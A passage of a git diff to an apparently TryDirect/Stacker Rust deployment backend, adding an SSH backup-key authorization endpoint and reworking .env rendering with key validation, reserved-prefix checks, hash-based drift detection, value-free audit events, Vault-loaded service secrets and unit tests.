+        .unwrap_or_else(|| "root".to_string());
+    let ssh_port = form
+        .port
+        .unwrap_or_else(|| server.ssh_port.unwrap_or(22) as u16);
+
+    ssh_client::authorize_public_key(
+        &srv_ip,
+        ssh_port,
+        &ssh_user,
+        &private_key,
+        public_key,
+        Duration::from_secs(4),
+    )
+    .await
+    .map_err(|e| {
+        tracing::warn!(
+            "Failed to authorize backup public key for server {}: {}",
+            server_id,
+            e
+        );
+        JsonResponse::<AuthorizePublicKeyResponse>::build()
+            .bad_request(format!("Failed to authorize public key on server: {}", e))
+    })?;
+
+    let response = AuthorizePublicKeyResponse {
+        server_id,
+        srv_ip,
+        ssh_user,
+        ssh_port,
+        authorized: true,
+        message: "Public key authorized successfully".to_string(),
+    };
+
+    Ok(JsonResponse::build()
+        .set_item(Some(response))
+        .ok("Public key authorized"))
+}
+
 /// Response for SSH validation with full system check
 #[derive(Debug, Clone, Default, Serialize)]
 pub struct ValidateResponse {
@@ -286,7 +423,7 @@ pub struct ValidateResponse {
 
 /// Validate SSH connection for a server
 /// POST /server/{id}/ssh-key/validate
-/// 
+///
 /// This endpoint:
 /// 1. Verifies the server exists and belongs to the user
 /// 2. Checks the SSH key is active and retrieves it from Vault
@@ -359,7 +496,10 @@ pub async fn validate_key(
     {
         Ok(key) => key,
         Err(e) => {
-            tracing::warn!("Failed to fetch SSH key from Vault during validation: {}", e);
+            tracing::warn!(
+                "Failed to fetch SSH key from Vault during validation: {}",
+                e
+            );
             let response = ValidateResponse {
                 valid: false,
                 server_id,
@@ -382,7 +522,10 @@ pub async fn validate_key(
 
     // Get SSH connection parameters
     let ssh_port = server.ssh_port.unwrap_or(22) as u16;
-    let ssh_user = server.ssh_user.clone().unwrap_or_else(|| "root".to_string());
+    let ssh_user = server
+        .ssh_user
+        .clone()
+        .unwrap_or_else(|| "root".to_string());
 
     // Perform SSH connection and system check
     let check_result = ssh_client::check_server(
@@ -399,7 +542,9 @@ pub async fn validate_key(
     let message = if valid {
         check_result.summary()
     } else {
-        check_result.error.unwrap_or_else(|| "SSH validation failed".to_string())
+        check_result
+            .error
+            .unwrap_or_else(|| "SSH validation failed".to_string())
     };
 
     let response = ValidateResponse {
@@ -410,7 +555,11 @@ pub async fn validate_key(
         connected: check_result.connected,
         authenticated: check_result.authenticated,
         // Include vault public key in response when auth fails (helps debug key mismatch)
-        vault_public_key: if !check_result.authenticated { vault_public_key } else { None },
+        vault_public_key: if !check_result.authenticated {
+            vault_public_key
+        } else {
+            None
+        },
         username: check_result.username,
         disk_total_gb: check_result.disk_total_gb,
         disk_available_gb: check_result.disk_available_gb,
diff --git a/src/routes/server/update.rs b/src/routes/server/update.rs
index 61b1f8d7..8cf36af0 100644
--- a/src/routes/server/update.rs
+++ b/src/routes/server/update.rs
@@ -22,7 +22,7 @@ pub async fn item(
         .map_err(|err| JsonResponse::<models::Server>::build().internal_server_error(err))
         .and_then(|server| match server {
             Some(server) if server.user_id != user.id => {
-                Err(JsonResponse::<models::Project>::build().bad_request("Server not found"))
+                Err(JsonResponse::<models::Project>::build().not_found("Server not found"))
             }
             Some(server) => Ok(server),
             None => Err(JsonResponse::<models::Server>::build().not_found("Server not found")),
diff --git a/src/services/config_renderer.rs b/src/services/config_renderer.rs
index c757b8c0..dd06c1df 100644
--- a/src/services/config_renderer.rs
+++ b/src/services/config_renderer.rs
@@ -9,14 +9,23 @@
 //! 3. Applied for runtime configuration updates
 
 use crate::configuration::DeploymentSettings;
+use crate::db;
+use crate::helpers::env_path::{compose_env_file_reference, remote_runtime_env_path};
 use crate::models::{Project, ProjectApp};
+use crate::services::env_model::{
+    normalize_optional_json_env, reconcile_env_layers, EnvLayer, ReconciledEnv,
+};
 use crate::services::vault_service::{AppConfig, VaultError, VaultService};
 use anyhow::{Context, Result};
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
-use std::collections::HashMap;
+use sha2::{Digest, Sha256};
+use sqlx::PgPool;
+use std::collections::{BTreeMap, HashMap};
 use tera::{Context as TeraContext, Tera};
 
+const RESERVED_ENV_PREFIXES: &[&str] = &["STACKER_", "DOCKER_", "VAULT_", "AGENT_"];
+
 /// Rendered configuration bundle for a deployment
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct ConfigBundle {
@@ -32,6 +41,322 @@ pub struct ConfigBundle {
     pub generated_at: chrono::DateTime<chrono::Utc>,
 }
 
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct RenderedEnv {
+    pub content: String,
+    pub hash: String,
+    pub inputs: Vec<&'static str>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct EnvRenderInput {
+    pub version: u64,
+    pub generated_at: chrono::DateTime<chrono::Utc>,
+    pub base: HashMap<String, String>,
+    pub generated: HashMap<String, String>,
+    pub server: HashMap<String, String>,
+    pub inherit_server_secrets: bool,
+    pub service: HashMap<String, String>,
+    pub compose_environment: HashMap<String, String>,
+}
+
+impl Default for EnvRenderInput {
+    fn default() -> Self {
+        Self {
+            version: 1,
+            generated_at: chrono::Utc::now(),
+            base: HashMap::new(),
+            generated: HashMap::new(),
+            server: HashMap::new(),
+            inherit_server_secrets: false,
+            service: HashMap::new(),
+            compose_environment: HashMap::new(),
+        }
+    }
+}
+
+#[derive(Debug, thiserror::Error, PartialEq, Eq)]
+pub enum EnvRenderError {
+    #[error("Invalid env key '{key}': must match ^[A-Z_][A-Z0-9_]*$")]
+    InvalidKey { key: String },
+    #[error(
+        "Reserved env key '{key}': prefixes STACKER_, DOCKER_, VAULT_, and AGENT_ are not allowed"
+    )]
+    ReservedKey { key: String },
+    #[error("Invalid env value for '{key}': multiline values are not supported")]
+    MultilineValue { key: String },
+    #[error("Runtime env drift detected: expected hash {expected_hash}, found {actual_hash}; rerun with --force to overwrite")]
+    DriftDetected {
+        expected_hash: String,
+        actual_hash: String,
+    },
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct EnvDriftCheck {
+    pub can_write: bool,
+    pub actual_hash: Option<String>,
+    pub forced: bool,
+}
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct EnvRenderAuditEvent {
+    pub user_id: String,
+    pub project_id: i32,
+    pub app_code: String,
+    pub version: u64,
+    pub hash: String,
+    pub inputs: Vec<String>,
+    pub forced: bool,
+    pub prior_hash: Option<String>,
+}
+
+pub fn render_env(input: EnvRenderInput) -> std::result::Result<RenderedEnv, EnvRenderError> {
+    let ReconciledEnv { entries, inputs } = reconcile_render_input(&input);
+    let environment = entries;
+    validate_env(&environment)?;
+
+    let body = format_env_body(&environment);
+    let hash = sha256_hex(body.as_bytes());
+    let header = format_header_stamp(input.version, &hash, input.generated_at, &inputs);
+
+    Ok(RenderedEnv {
+        content: format!("{header}\n{body}"),
+        hash,
+        inputs,
+    })
+}
+
+pub fn format_header_stamp(
+    version: u64,
+    hash: &str,
+    generated_at: chrono::DateTime<chrono::Utc>,
+    inputs: &[&'static str],
+) -> String {
+    format!(
+        "# stacker-render version={} hash={} generated_at={} inputs={}",
+        version,
+        hash,
+        generated_at.to_rfc3339(),
+        inputs.join(",")
+    )
+}
+
+pub fn check_env_drift(
+    current_content: Option<&str>,
+    expected_hash: Option<&str>,
+    force: bool,
+) -> std::result::Result<EnvDriftCheck, EnvRenderError> {
+    let Some(current_content) = current_content else {
+        return Ok(EnvDriftCheck {
+            can_write: true,
+            actual_hash: None,
+            forced: force,
+        });
+    };
+    let Some(expected_hash) = expected_hash else {
+        return Ok(EnvDriftCheck {
+            can_write: true,
+            actual_hash: Some(env_body_hash(current_content)),
+            forced: force,
+        });
+    };
+
+    let actual_hash = env_body_hash(current_content);
+    if actual_hash == expected_hash || force {
+        let forced = force && actual_hash != expected_hash;
+        return Ok(EnvDriftCheck {
+            can_write: true,
+            actual_hash: Some(actual_hash),
+            forced,
+        });
+    }
+
+    Err(EnvRenderError::DriftDetected {
+        expected_hash: expected_hash.to_string(),
+        actual_hash,
+    })
+}
+
+pub fn build_env_render_audit_event(
+    user_id: &str,
+    project_id: i32,
+    app_code: &str,
+    rendered: &RenderedEnv,
+    forced: bool,
+    prior_hash: Option<String>,
+) -> EnvRenderAuditEvent {
+    EnvRenderAuditEvent {
+        user_id: user_id.to_string(),
+        project_id,
+        app_code: app_code.to_string(),
+        version: rendered
+            .content
+            .lines()
+            .next()
+            .and_then(parse_header_version)
+            .unwrap_or_default(),
+        hash: rendered.hash.clone(),
+        inputs: rendered
+            .inputs
+            .iter()
+            .map(|input| input.to_string())
+            .collect(),
+        forced,
+        prior_hash,
+    }
+}
+
+pub fn emit_env_render_audit(event: &EnvRenderAuditEvent) {
+    tracing::info!(
+        user_id = %event.user_id,
+        project_id = event.project_id,
+        app_code = %event.app_code,
+        version = event.version,
+        hash = %event.hash,
+        inputs = ?event.inputs,
+        forced = event.forced,
+        prior_hash = ?event.prior_hash,
+        "Rendered runtime env file"
+    );
+}
+
+fn reconcile_render_input(input: &EnvRenderInput) -> ReconciledEnv {
+    let mut layers = vec![
+        EnvLayer {
+            name: "base",
+            entries: &input.base,
+            include_in_inputs: true,
+        },
+        EnvLayer {
+            name: "generated",
+            entries: &input.generated,
+            include_in_inputs: false,
+        },
+    ];
+
+    if input.inherit_server_secrets {
+        layers.push(EnvLayer {
+            name: "server",
+            entries: &input.server,
+            include_in_inputs: true,
+        });
+    }
+
+    layers.push(EnvLayer {
+        name: "service",
+        entries: &input.service,
+        include_in_inputs: true,
+    });
+    layers.push(EnvLayer {
+        name: "compose",
+        entries: &input.compose_environment,
+        include_in_inputs: true,
+    });
+
+    reconcile_env_layers(&layers)
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Default)]
+struct ResolvedAppEnvironment {
+    authored: HashMap<String, String>,
+    service: HashMap<String, String>,
+}
+
+impl ResolvedAppEnvironment {
+    fn effective(&self) -> HashMap<String, String> {
+        reconcile_env_layers(&[
+            EnvLayer {
+                name: "base",
+                entries: &self.authored,
+                include_in_inputs: false,
+            },
+            EnvLayer {
+                name: "service",
+                entries: &self.service,
+                include_in_inputs: false,
+            },
+        ])
+        .entries
+        .into_iter()
+        .collect()
+    }
+}
+
+fn validate_env(environment: &BTreeMap<String, String>) -> std::result::Result<(), EnvRenderError> {
+    for (key, value) in environment {
+        if !is_valid_env_key(key) {
+            return Err(EnvRenderError::InvalidKey { key: key.clone() });
+        }
+        if RESERVED_ENV_PREFIXES
+            .iter()
+            .any(|prefix| key.starts_with(prefix))
+        {
+            return Err(EnvRenderError::ReservedKey { key: key.clone() });
+        }
+        if value.contains('\n') || value.contains('\r') {
+            return Err(EnvRenderError::MultilineValue { key: key.clone() });
+        }
+    }
+
+    Ok(())
+}
+
+fn is_valid_env_key(key: &str) -> bool {
+    let mut chars = key.chars();
+    match chars.next() {
+        Some(first) if first == '_' || first.is_ascii_uppercase() => {}
+        _ => return false,
+    }
+
+    chars.all(|char| char == '_' || char.is_ascii_uppercase() || char.is_ascii_digit())
+}
+
+fn format_env_body(environment: &BTreeMap<String, String>) -> String {
+    let mut body = String::new();
+    for (key, value) in environment {
+        body.push_str(key);
+        body.push('=');
+        body.push_str(value);
+        body.push('\n');
+    }
+    body
+}
+
+fn sha256_hex(bytes: &[u8]) -> String {
+    let digest = Sha256::digest(bytes);
+    format!("{:x}", digest)
+}
+
+fn project_target(project: &Project) -> Option<String> {
+    ["target", "deployment_target", "deploy_target"]
+        .iter()
+        .find_map(|key| {
+            project
+                .metadata
+                .get(*key)
+                .or_else(|| project.request_json.get(*key))
+                .and_then(|value| value.as_str())
+                .filter(|value| !value.trim().is_empty())
+                .map(ToOwned::to_owned)
+        })
+}
+
+pub fn env_body_hash(content: &str) -> String {
+    let body = content
+        .strip_prefix("# stacker-render ")
+        .and_then(|_| content.split_once('\n').map(|(_, body)| body))
+        .unwrap_or(content);
+    sha256_hex(body.as_bytes())
+}
+
+fn parse_header_version(header: &str) -> Option<u64> {
+    header
+        .split_whitespace()
+        .find_map(|part| part.strip_prefix("version="))
+        .and_then(|version| version.parse::<u64>().ok())
+}
+
 /// App environment rendering context
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct AppRenderContext {
@@ -113,8 +438,6 @@ impl ConfigRenderer {
         // Register embedded templates
         tera.add_raw_template("docker-compose.yml.tera", DOCKER_COMPOSE_TEMPLATE)
             .context("Failed to add docker-compose template")?;
-        tera.add_raw_template("env.tera", ENV_FILE_TEMPLATE)
-            .context("Failed to add env template")?;
         tera.add_raw_template("service.tera", SERVICE_TEMPLATE)
             .context("Failed to add service template")?;
 
@@ -157,36 +480,43 @@ impl ConfigRenderer {
     }
 
     /// Render a full configuration bundle for a project
-    pub fn render_bundle(
+    pub async fn render_bundle(
         &self,
+        pool: &PgPool,
         project: &Project,
         apps: &[ProjectApp],
         deployment_hash: &str,
     ) -> Result<ConfigBundle> {
-        let app_contexts: Vec<AppRenderContext> = apps
-            .iter()
-            .filter(|a| a.is_enabled())
-            .map(|app| self.project_app_to_context(app, project))
-            .collect::<Result<Vec<_>>>()?;
-
-        // Render docker-compose.yml
-        let compose_content = self.render_compose(&app_contexts, project)?;
-
-        // Render per-app .env files
+        let mut app_contexts = Vec::new();
         let mut app_configs = HashMap::new();
+
         for app in apps.iter().filter(|a| a.is_enabled()) {
-            let env_content = self.render_env_file(app, project, deployment_hash)?;
+            let environment = self.resolve_app_environment(pool, project, app).await?;
+            let mut context = self.project_app_to_context(app, environment.effective())?;
+            crate::helpers::stacker_labels::insert_runtime_labels(
+                &mut context.labels,
+                Some(project.id),
+                project_target(project).as_deref(),
+                crate::helpers::stacker_labels::SCOPE_PROJECT,
+                &app.code,
+                &app.code,
+            );
+            app_contexts.push(context);
+
+            let rendered_env = self.render_env_file(app, deployment_hash, &environment)?;
             let config = AppConfig {
-                content: env_content,
+                content: rendered_env.content,
                 content_type: "env".to_string(),
-                destination_path: format!("{}/{}.env", self.deploy_dir(deployment_hash), app.code),
-                file_mode: "0640".to_string(),
+                destination_path: remote_runtime_env_path().to_string(),
+                file_mode: "0600".to_string(),
                 owner: Some("trydirect".to_string()),
                 group: Some("docker".to_string()),
             };
             app_configs.insert(app.code.clone(), config);
         }
 
+        let compose_content = self.render_compose(&app_contexts, project)?;
+
         Ok(ConfigBundle {
             deployment_hash: deployment_hash.to_string(),
             version: 1,
@@ -200,7 +530,7 @@ impl ConfigRenderer {
     fn project_app_to_context(
         &self,
         app: &ProjectApp,
-        _project: &Project,
+        environment: HashMap<String, String>,
     ) -> Result<AppRenderContext> {
         // Validate that the app has a non-empty image to prevent generating
         // `image: ` in docker-compose.yml (Docker interprets this as `:latest`
@@ -213,9 +543,6 @@ impl ConfigRenderer {
             ));
         }
 
-        // Parse environment variables from JSON
-        let environment = self.parse_environment(&app.environment)?;
-
         // Parse ports from JSON
         let ports = self.parse_ports(&app.ports)?;
 
@@ -259,37 +586,66 @@ impl ConfigRenderer {
         })
     }
 
+    async fn resolve_app_environment(
+        &self,
+        pool: &PgPool,
+        project: &Project,
+        app: &ProjectApp,
+    ) -> Result<ResolvedAppEnvironment> {
+        Ok(ResolvedAppEnvironment {
+            authored: self.parse_environment(&app.environment)?,
+            service: self.load_service_secrets(pool, project, app).await?,
+        })
+    }
+
+    async fn load_service_secrets(
+        &self,
+        pool: &PgPool,
+        project: &Project,
+        app: &ProjectApp,
+    ) -> Result<HashMap<String, String>> {
+        let secrets =
+            db::remote_secret::list_service_secrets(pool, &project.user_id, project.id, &app.code)
+                .await
+                .map_err(|error| {
+                    anyhow::anyhow!("Failed to load service secret metadata: {}", error)
+                })?;
+
+        if secrets.is_empty() {
+            return Ok(HashMap::new());
+        }
+
+        let vault = self.vault_service.as_ref().ok_or_else(|| {
+            anyhow::anyhow!(
+                "Vault is required to render service secrets for app '{}'",
+                app.code
+            )
+        })?;
+
+        let mut service_secrets = HashMap::new();
+        for secret in secrets {
+            let value = vault
+                .fetch_secret_value(&secret.vault_path)
+                .await
+                .map_err(|error| {
+                    anyhow::anyhow!(
+                        "Failed to fetch service secret '{}' for app '{}': {}",
+                        secret.name,
+                        app.code,
+                        error
+                    )
+                })?;
+            service_secrets.insert(secret.name, value);
+        }
+
+        Ok(service_secrets)
+    }
+
     /// Parse environment JSON to HashMap
     fn parse_environment(&self, env: &Option<Value>) -> Result<HashMap<String, String>> {
-        match env {
-            Some(Value::Object(map)) => {
-                let mut result = HashMap::new();
-                for (k, v) in map {
-                    let value = match v {
-                        Value::String(s) => s.clone(),
-                        Value::Number(n) => n.to_string(),
-                        Value::Bool(b) => b.to_string(),
-                        _ => v.to_string(),
-                    };
-                    result.insert(k.clone(), value);
-                }
-                Ok(result)
-            }
-            Some(Value::Array(arr)) => {
-                // Handle array format: ["VAR=value", "VAR2=value2"]
-                let mut result = HashMap::new();
-                for item in arr {
-                    if let Value::String(s) = item {
-                        if let Some((k, v)) = s.split_once('=') {
-                            result.insert(k.to_string(), v.to_string());
-                        }
-                    }
-                }
-                Ok(result)
-            }
-            None => Ok(HashMap::new()),
-            _ => Ok(HashMap::new()),
-        }
+        Ok(normalize_optional_json_env(env.as_ref())
+            .into_iter()
+            .collect())
     }
 
     /// Parse ports JSON to Vec<PortMapping>
@@ -504,6 +860,7 @@ impl ConfigRenderer {
         context.insert("apps", apps);
         context.insert("project_name", &project.name);
         context.insert("project_id", &project.stack_id.to_string());
+        context.insert("env_file", compose_env_file_reference());
 
         // Extract network configuration from project metadata
         let default_network = project
@@ -523,22 +880,49 @@ impl ConfigRenderer {
     fn render_env_file(
         &self,
         app: &ProjectApp,
-        _project: &Project,
         deployment_hash: &str,
-    ) -> Result<String> {
-        let env_map = self.parse_environment(&app.environment)?;
+        environment: &ResolvedAppEnvironment,
+    ) -> Result<RenderedEnv> {
+        let mut generated =
+            HashMap::from([("DEPLOYMENT_HASH".to_string(), deployment_hash.to_string())]);
 
-        let mut context = TeraContext::new();
-        context.insert("app_code", &app.code);
-        context.insert("app_name", &app.name);
-        context.insert("deployment_hash", deployment_hash);
-        context.insert("environment", &env_map);
-        context.insert("domain", &app.domain);
-        context.insert("ssl_enabled", &app.ssl_enabled.unwrap_or(false));
+        if let Some(domain) = &app.domain {
+            generated.insert("APP_DOMAIN".to_string(), domain.clone());
+        }
+        if app.ssl_enabled.unwrap_or(false) {
+            generated.insert("SSL_ENABLED".to_string(), "true".to_string());
+        }
 
-        self.tera
-            .render("env.tera", &context)
-            .context("Failed to render env template")
+        render_env(EnvRenderInput {
+            base: environment.authored.clone(),
+            generated,
+            service: environment.service.clone(),
+            generated_at: chrono::Utc::now(),
+            ..EnvRenderInput::default()
+        })
+        .context("Failed to render env file")
+    }
+
+    /// Render a single app runtime env config without storing it.
+    pub async fn render_app_env_config(
+        &self,
+        pool: &PgPool,
+        app: &ProjectApp,
+        project: &Project,
+        deployment_hash: &str,
+    ) -> Result<(AppConfig, String)> {
+        let environment = self.resolve_app_environment(pool, project, app).await?;
+        let rendered_env = self.render_env_file(app, deployment_hash, &environment)?;
+        let config = AppConfig {
+            content: rendered_env.content,
+            content_type: "env".to_string(),
+            destination_path: remote_runtime_env_path().to_string(),
+            file_mode: "0600".to_string(),
+            owner: Some("trydirect".to_string()),
+            group: Some("docker".to_string()),
+        };
+
+        Ok((config, rendered_env.hash))
     }
 
     /// Sync all app configs to Vault
@@ -601,10 +985,11 @@ impl ConfigRenderer {
     /// Sync a single app config to Vault (for incremental updates)
     pub async fn sync_app_to_vault(
         &self,
+        pool: &PgPool,
         app: &ProjectApp,
         project: &Project,
         deployment_hash: &str,
-    ) -> Result<(), VaultError> {
+    ) -> Result<String, VaultError> {
         tracing::debug!(
             "Syncing config for app {} (deployment {}) to Vault",
             app.code,
@@ -615,19 +1000,11 @@ impl ConfigRenderer {
             None => return Err(VaultError::NotConfigured),
         };
 
-        let env_content = self
-            .render_env_file(app, project, deployment_hash)
+        let (config, config_hash) = self
+            .render_app_env_config(pool, app, project, deployment_hash)
+            .await
             .map_err(|e| VaultError::Other(format!("Render failed: {}", e)))?;
 
-        let config = AppConfig {
-            content: env_content,
-            content_type: "env".to_string(),
-            destination_path: format!("{}/{}.env", self.deploy_dir(deployment_hash), app.code),
-            file_mode: "0640".to_string(),
-            owner: Some("trydirect".to_string()),
-            group: Some("docker".to_string()),
-        };
-
         tracing::debug!(
             "Storing .env config for app {} at path {} in Vault",
             app.code,
@@ -637,7 +1014,9 @@ impl ConfigRenderer {
         let env_key = format!("{}_env", app.code);
         vault
             .store_app_config(deployment_hash, &env_key, &config)
-            .await
+            .await?;
+
+        Ok(config_hash)
     }
 }
 
@@ -672,6 +1051,8 @@ services:
   {{ app.code }}:
     image: {{ app.image }}
     container_name: {{ app.code }}
+    env_file:
+      - {{ env_file }}
 {% if app.runtime %}
     runtime: {{ app.runtime }}
 {% endif %}
@@ -765,24 +1146,6 @@ networks:
     driver: bridge
 "#;
 
-/// Environment file template
-const ENV_FILE_TEMPLATE: &str = r#"# Environment configuration for {{ app_code }}
-# Deployment: {{ deployment_hash }}
-# Generated by TryDirect ConfigRenderer
-
-{% for key, value in environment -%}
-{{ key }}={{ value }}
-{% endfor -%}
-
-{% if domain -%}
-# Domain Configuration
-APP_DOMAIN={{ domain }}
-{% if ssl_enabled -%}
-SSL_ENABLED=true
-{% endif -%}
-{% endif -%}
-"#;
-
 /// Individual service template (for partial updates)
 const SERVICE_TEMPLATE: &str = r#"
   {{ app.code }}:
@@ -839,6 +1202,248 @@ mod tests {
         assert_eq!(result.get("PORT").unwrap(), "8080");
     }
 
+    #[test]
+    fn render_env_applies_precedence() {
+        let generated_at = chrono::DateTime::parse_from_rfc3339("2026-05-13T17:00:00Z")
+            .unwrap()
+            .with_timezone(&chrono::Utc);
+        let rendered = render_env(EnvRenderInput {
+            version: 7,
+            generated_at,
+            base: HashMap::from([
+                ("SHARED".to_string(), "base".to_string()),
+                ("BASE_ONLY".to_string(), "yes".to_string()),
+            ]),
+            generated: HashMap::new(),
+            server: HashMap::from([("SHARED".to_string(), "server".to_string())]),
+            inherit_server_secrets: true,
+            service: HashMap::from([("SHARED".to_string(), "service".to_string())]),
+            compose_environment: HashMap::from([("SHARED".to_string(), "compose".to_string())]),
+        })
+        .unwrap();
+
+        assert!(rendered.content.contains("BASE_ONLY=yes\n"));
+        assert!(rendered.content.contains("SHARED=compose\n"));
+        assert_eq!(
+            rendered.inputs,
+            vec!["base", "server", "service", "compose"]
+        );
+    }
+
+    #[test]
+    fn render_env_skips_server_layer_without_opt_in() {
+        let rendered = render_env(EnvRenderInput {
+            base: HashMap::from([("VALUE".to_string(), "base".to_string())]),
+            server: HashMap::from([("VALUE".to_string(), "server".to_string())]),
+            inherit_server_secrets: false,
+            ..EnvRenderInput::default()
+        })
+        .unwrap();
+
+        assert!(rendered.content.contains("VALUE=base\n"));
+        assert_eq!(rendered.inputs, vec!["base"]);
+    }
+
+    #[test]
+    fn render_env_deletion_removes_missing_service_key() {
+        let rendered = render_env(EnvRenderInput {
+            base: HashMap::from([("KEEP".to_string(), "yes".to_string())]),
+            service: HashMap::new(),
+            ..EnvRenderInput::default()
+        })
+        .unwrap();
+
+        assert!(rendered.content.contains("KEEP=yes\n"));
+        assert!(!rendered.content.contains("S3_BUCKET="));
+    }
+
+    #[test]
+    fn render_env_generated_layer_overrides_authored_value() {
+        let rendered = render_env(EnvRenderInput {
+            base: HashMap::from([("DEPLOYMENT_HASH".to_string(), "stale".to_string())]),
+            generated: HashMap::from([("DEPLOYMENT_HASH".to_string(), "fresh".to_string())]),
+            ..EnvRenderInput::default()
+        })
+        .unwrap();
+
+        assert!(rendered.content.contains("DEPLOYMENT_HASH=fresh\n"));
+        assert!(!rendered.inputs.contains(&"generated"));
+    }
+
+    #[test]
+    fn render_env_rejects_reserved_prefix() {
+        let result = render_env(EnvRenderInput {
+            base: HashMap::from([("STACKER_TOKEN".to_string(), "secret".to_string())]),
+            ..EnvRenderInput::default()
+        });
+
+        assert_eq!(
+            result.unwrap_err(),
+            EnvRenderError::ReservedKey {
+                key: "STACKER_TOKEN".to_string()
+            }
+        );
+    }
+
+    #[test]
+    fn render_env_rejects_bad_key_name() {
+        let result = render_env(EnvRenderInput {
+            base: HashMap::from([("lowercase".to_string(), "value".to_string())]),
+            ..EnvRenderInput::default()
+        });
+
+        assert_eq!(
+            result.unwrap_err(),
+            EnvRenderError::InvalidKey {
+                key: "lowercase".to_string()
+            }
+        );
+    }
+
+    #[test]
+    fn render_env_rejects_multiline_value() {
+        let result = render_env(EnvRenderInput {
+            base: HashMap::from([("SECRET".to_string(), "line1\nline2".to_string())]),
+            ..EnvRenderInput::default()
+        });
+
+        assert_eq!(
+            result.unwrap_err(),
+            EnvRenderError::MultilineValue {
+                key: "SECRET".to_string()
+            }
+        );
+    }
+
+    #[test]
+    fn render_env_hash_is_stable_for_same_body() {
+        let generated_at = chrono::DateTime::parse_from_rfc3339("2026-05-13T17:00:00Z")
+            .unwrap()
+            .with_timezone(&chrono::Utc);
+        let input = EnvRenderInput {
+            version: 1,
+            generated_at,
+            base: HashMap::from([
+                ("B".to_string(), "2".to_string()),
+                ("A".to_string(), "1".to_string()),
+            ]),
+            ..EnvRenderInput::default()
+        };
+
+        let first = render_env(input.clone()).unwrap();
+        let second = render_env(input).unwrap();
+
+        assert_eq!(first.hash, second.hash);
+        assert_eq!(first.content, second.content);
+        assert!(first.content.ends_with("A=1\nB=2\n"));
+    }
+
+    #[test]
+    fn project_target_reads_stable_target_metadata() {
+        let project = Project {
+            metadata: json!({"target": "cloud"}),
+            request_json: json!({"target": "server"}),
+            ..Project::default()
+        };
+
+        assert_eq!(project_target(&project).as_deref(), Some("cloud"));
+    }
+
+    #[test]
+    fn format_header_stamp_is_deterministic() {
+        let generated_at = chrono::DateTime::parse_from_rfc3339("2026-05-13T17:00:00Z")
+            .unwrap()
+            .with_timezone(&chrono::Utc);
+
+        let header = format_header_stamp(3, "abc123", generated_at, &["base", "service"]);
+
+        assert_eq!(
+            header,
+            "# stacker-render version=3 hash=abc123 generated_at=2026-05-13T17:00:00+00:00 inputs=base,service"
+        );
+    }
+
+    #[test]
+    fn check_env_drift_allows_matching_hash() {
+        let rendered = render_env(EnvRenderInput {
+            base: HashMap::from([("KEY".to_string(), "value".to_string())]),
+            ..EnvRenderInput::default()
+        })
+        .unwrap();
+
+        let check = check_env_drift(Some(&rendered.content), Some(&rendered.hash), false).unwrap();
+
+        assert!(check.can_write);
+        assert_eq!(check.actual_hash.as_deref(), Some(rendered.hash.as_str()));
+        assert!(!check.forced);
+    }
+
+    #[test]
+    fn check_env_drift_refuses_mismatch_without_force() {
+        let rendered = render_env(EnvRenderInput {
+            base: HashMap::from([("KEY".to_string(), "value".to_string())]),
+            ..EnvRenderInput::default()
+        })
+        .unwrap();
+
+        let result = check_env_drift(Some(&rendered.content), Some("different"), false);
+
+        assert!(matches!(
+            result,
+            Err(EnvRenderError::DriftDetected {
+                expected_hash,
+                actual_hash: _
+            }) if expected_hash == "different"
+        ));
+    }
+
+    #[test]
+    fn check_env_drift_allows_forced_mismatch() {
+        let rendered = render_env(EnvRenderInput {
+            base: HashMap::from([("KEY".to_string(), "value".to_string())]),
+            ..EnvRenderInput::default()
+        })
+        .unwrap();
+
+        let check = check_env_drift(Some(&rendered.content), Some("different"), true).unwrap();
+
+        assert!(check.can_write);
+        assert!(check.forced);
+        assert_eq!(check.actual_hash.as_deref(), Some(rendered.hash.as_str()));
+    }
+
+    #[test]
+    fn build_env_render_audit_event_redacts_values() {
+        let rendered = render_env(EnvRenderInput {
+            version: 5,
+            base: HashMap::from([("SECRET".to_string(), "supersecret".to_string())]),
+            service: HashMap::from([("TOKEN".to_string(), "token-value".to_string())]),
+            ..EnvRenderInput::default()
+        })
+        .unwrap();
+
+        let event = build_env_render_audit_event(
+            "user-1",
+            42,
+            "upload",
+            &rendered,
+            true,
+            Some("old-hash".to_string()),
+        );
+        let serialized = serde_json::to_string(&event).unwrap();
+
+        assert_eq!(event.version, 5);
+        assert_eq!(event.hash, rendered.hash);
+        assert_eq!(
+            event.inputs,
+            vec!["base".to_string(), "service".to_string()]
+        );
+        assert!(event.forced);
+        assert_eq!(event.prior_hash.as_deref(), Some("old-hash"));
+        assert!(!serialized.contains("supersecret"));
+        assert!(!serialized.contains("token-value"));
+    }
+
     #[test]
     fn test_parse_ports_object() {
         let renderer = ConfigRenderer::new().unwrap();
@@ -898,15 +1503,7 @@ mod tests {
     #[test]
     fn test_env_destination_path_format() {
         // Test that .env files have correct destination paths
-        let deployment_hash = "deployment_abc123";
-        let app_code = "telegraf";
-        let base_path = "/home/trydirect";
-
-        let expected_path = format!("{}/{}/{}.env", base_path, deployment_hash, app_code);
-        assert_eq!(
-            expected_path,
-            "/home/trydirect/deployment_abc123/telegraf.env"
-        );
+        assert_eq!(remote_runtime_env_path(), "/home/trydirect/project/.env");
     }
 
     #[test]
@@ -915,15 +1512,15 @@ mod tests {
         let config = AppConfig {
             content: "FOO=bar\nBAZ=qux".to_string(),
             content_type: "env".to_string(),
-            destination_path: "/home/trydirect/hash123/app.env".to_string(),
-            file_mode: "0640".to_string(),
+            destination_path: remote_runtime_env_path().to_string(),
+            file_mode: "0600".to_string(),
             owner: Some("trydirect".to_string()),
             group: Some("docker".to_string()),
         };
 
         assert_eq!(config.content_type, "env");
-        assert_eq!(config.file_mode, "0640"); // More restrictive for env files
-        assert!(config.destination_path.ends_with(".env"));
+        assert_eq!(config.file_mode, "0600");
+        assert_eq!(config.destination_path, remote_runtime_env_path());
     }
 
     #[test]
@@ -947,8 +1544,6 @@ mod tests {
     #[test]
     fn test_config_bundle_structure() {
         // Test the structure of ConfigBundle
-        let deployment_hash = "test_hash_123";
-
         // Simulated app_configs HashMap as created by render_bundle
